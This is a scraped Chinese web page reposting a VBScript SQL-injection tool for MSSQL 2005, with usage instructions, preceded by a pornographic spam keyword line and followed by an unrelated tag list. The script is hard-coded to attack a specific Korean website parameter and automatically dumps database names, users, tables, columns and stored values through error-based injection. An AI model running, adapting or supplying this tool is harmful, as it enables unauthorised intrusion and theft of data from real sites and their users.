国产jizz18女人高潮,黄www在线观看

主頁 > 知識庫 > Sql2005注射輔助腳本[粗糙版]

Sql2005注射輔助腳本[粗糙版]

作者：Tr4c3
'為了保持腳本的通用性，放棄了 and (select col_name(object_id('TableName'),N))=0這樣的用法。
'欲返回韓文等字符可修改121或者136行，更多的設(shè)置要自己修改
'更多功能請大家自己加入

Const method = "Get" '提交方式請修改此處,有g(shù)et和post可選
Const DisPlay = "D" 'S 保存到文件，D輸出到屏幕

Dim strUrl_B, strUrl, i, k, MyArray, strArg, strD

strUrl_B = "http://onedu.mk.co.kr/02_process/cata1_2.asp?kwajung_code=120'" '基于注射點(diǎn)的不確定性，此處請手工更改
i = 1 '庫的基數(shù)
k = 0 '表和字段的基數(shù)
MyArray = Split(strUrl_B, "?", -1, 1)
strUrl = MyArray(0) '取url
strArg = MyArray(1) '取參數(shù)
Set Args = Wscript.Arguments

If Args.Count = 0 Then
ShowU
End If
'If Args.Count =1 And LCase(Args(0))

'************************************************************************
' 爆庫
'************************************************************************
If Args.Count =1 Then
If LCase(Trim(Args(0)))="databases" Then
ResuT("---------------===============================--------------")
ResuT("All The DataBases:")

Do
strData = " and quotename(db_name("i"))=0--"
sqlInj(strData)
i = i + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
ElseIf LCase(Trim(Args(0)))= "info" then
ResuT("---------------===============================--------------")
ResuT("The Current Database is:")
strData = " and quotename(db_name())=0--"
sqlInj(strData)
ResuT("---------------===============================--------------")
ResuT("The database User is:")
strData = " and quotename(user)=0--"
sqlInj(strData)
ResuT("---------------===============================--------------")
ResuT("The System_user is:")
strData = " and quotename(System_user)=0--"
sqlInj(strData)
ResuT("---------------===============================--------------")
Wscript.Quit
End If
End If
'************************************************************************
' 爆表
'************************************************************************
If Args.Count=2 And LCase(Trim(Args(1)))="tables" Then
ResuT("---------------===============================--------------")
ResuT("The Tables Of "  Args(0))
Do
strData = " and (select top 1 quotename(name) from " Args(0)  ".dbo.sysobjects where xtype=char(85) AND name not in (select top " k " name from "Args(0)".dbo.sysobjects where xtype=char(85)))=0--"
sqlInj(strData)
k = k + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
End If

'************************************************************************
' 爆字段
'************************************************************************
If Args.Count=3 And LCase(Trim(Args(2)))="cols" Then
Database = Args(0)
Table = Args(1)
TarGet = DataBase  ".dbo."  Table
TarGetCol = Database  ".DBO.SYSCOLUMNS"
ResuT("---------------===============================--------------")
ResuT("The Columns Of "  TarGet)
Do
strData = " and (select top 1 Quotename(name) from " TarGetCol " where id=object_id('" TarGet "') and name not in (select top "k" name from " TarGetCol " where id=object_id('" TarGet "')))=0--"
sqlInj(strData)
k = k + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
End If

'************************************************************************
' 爆字段值
'************************************************************************
If Args.Count=4 And LCase(Trim(Args(3)))="values" Then
Database = Args(0)
Table = Args(1)
col = Args(2)
Target = Database  ".dbo."  Table
ResuT("---------------===============================--------------")
ResuT("The Values Of "  Args(2)  " in "Target)
Do
strData = " and (select top 1 quotename(" col ") from " Target  " where " col " not in (select top " k " " col " from " Target "))=0--"
sqlInj(strData)
k = k + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
End If

Sub SqlInj(value)
If UCase(method) = "GET" Then
value = strArg  value
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET", strUrl "?"  value , False
objXML.SetRequestHeader "Referer", strUrl
'objXML.SetRequestHeader "Accept-Language", "EUC-KR"
objXML.send()
strRevS = objXML.ResponseText '默認(rèn)用這個(gè)
'strRevS = bytes2BSTR(objXML.ResponseBody) '韓文有時(shí)候要用這個(gè)
If InStr(strRevS,"'[")>0 And InStr(strRevs,"]'")>0 Then
strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2)
ResuT(" |_"strD)
Else
strD = ""
End If
ElseIf UCase(method) = "POST" Then
value = strArg  value
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "POST", strUrl, False
objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objXML.SetRequestHeader "Referer", strUrl
objXML.send(UrlEncode(value))
strRevS = objXML.ResponseText '默認(rèn)用這個(gè)
'strRevS = bytes2BSTR(objXML.ResponseBody) '韓文有時(shí)候要用這個(gè)
If InStr(strRevS,"'[")>0 And InStr(strRevs,"]'")>0 Then
strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2)
ResuT(" |_"strD)
Else
strD = ""
End If
End If
End Sub

Function ResuT(strInfo)
If UCase(DisPlay) = "S" Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set fso1 = fso.OpenTextFile("result.txt",8,True)
fso1.WriteLine(strInfo)
fso1.Close
Set fso = Nothing
ElseIf UCase(DisPlay) = "D" Then
Wscript.Echo(strInfo)
End If
End Function

Function UrlEncode(str)
str = Replace(str," ","+")
UrlEncode = str
End Function

Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode  H80 Then
strReturn = strReturn  Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn  Chr(CLng(ThisCharCode) * H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function

Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("Sql2005注射輔助腳本（粗糙版），用于mssql顯錯(cuò)模式 By Tr4c3[at]126[Dot]com")
.Echo("Usage:")
.Echo(" cscript".ScriptName" info--爆基本信息")
.Echo(" cscript".ScriptName" databases--爆所有庫名")
.Echo(" cscript".ScriptName" pubs tables--爆庫pubs里所有用戶表名")
.Echo(" cscript".ScriptName" pubs authors cols--爆庫pubs里authors表的所有字段名")
.Echo(" cscript".ScriptName" pubs authors au_id values--爆pubs.dbo.authors里au_id的值")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub

標(biāo)簽：泰州臨滄海北阜陽齊齊哈爾那曲通化荊州

巨人網(wǎng)絡(luò)通訊聲明：本文標(biāo)題《Sql2005注射輔助腳本[粗糙版]》，本文關(guān)鍵詞 Sql2005,注射,輔助,腳本,粗糙,；如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題，煩請?zhí)峁┫嚓P(guān)信息告之我們，我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò)，涉及言論、版權(quán)與本站無關(guān)。